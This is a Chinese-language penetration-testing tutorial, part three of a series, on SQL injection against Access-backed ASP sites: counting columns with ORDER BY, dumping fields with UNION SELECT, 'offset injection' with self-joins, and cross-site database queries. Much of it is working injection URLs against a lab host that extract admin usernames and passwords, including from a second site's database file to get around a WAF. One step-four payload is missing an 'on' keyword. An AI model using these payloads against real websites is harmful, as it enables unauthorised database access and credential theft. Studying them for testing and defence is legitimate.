渗透测试之SQL注入(三)

SQL注入中的高级查询——order by 与union select

在上一节中介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅可以利用在Access数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法。


1. order by 猜字段数目

首先,利用order by猜解字段数目,查询语句如下。

order by 1

order by 2

...

order by n-1

order by n

如果n-1时返回正常,n时返回错误,那么说明字段数目为n。


这边正好有七个  所以这边必须接 order by 7  


正常


错误


2. union select爆字段内容


得到字段长度后,就可利用union select查询获得字段内容了。

and 1=2 union select1, 2, 3...., n from 表名

执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。

and 1=2 union select1, 字段1, 字段2...., n from 表名

在页面中就会返回字段内容,不必一个一个进行猜解了。


3. 偏移注入

偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补。(注:这种方法运气很重要)

第一步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator当我们把把username或password代入2、3查询不到的时候,就可以使用下面方法。


第二步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator分别用*号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 有3个字段)再接着用3*2+1=7来构造第三步注入语句。


第三步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, *  from (administrator as a inner join administrator as b on a.id=b.id)注:a.id ,b.id每个占三个字段,就是上面3*2


第四步:如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是3*3+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)

4. 注入跨库查询

假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。直接用  

http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from

[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins


你可能感兴趣的:(渗透测试之SQL注入(三))